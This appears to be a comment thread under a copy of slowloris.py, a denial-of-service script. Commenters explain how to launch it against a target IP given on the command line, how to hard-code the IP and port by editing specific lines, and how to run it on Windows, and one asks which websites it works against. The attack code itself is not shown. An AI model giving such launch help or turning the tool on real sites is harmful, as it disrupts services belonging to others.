where do you put the IP

@benjirees

where do you put the IP

Just run with command line ex.

python slowloris.py 172.217.24.238

int

thanks

thanks

you can also just change line 19 to set the ip manually instead of passing the value through argv[1] (the first command line argument after the name of the "*.py" file) @benijrees

awesome man!

BTW there has been a main repo for this project for a while with additional fixes / features.

https://github.com/gkbrk/slowloris

Is there any way to use this on windows?

@PlumpBenjamin Yes, python can run on windows, linux, mac, etc. Install python then run this script.

anyone know a website where this works?

@benjirees
sometimes we need change the port
it just modify ip anda port at line 29

slowloris.py: error: argument

como quito eso
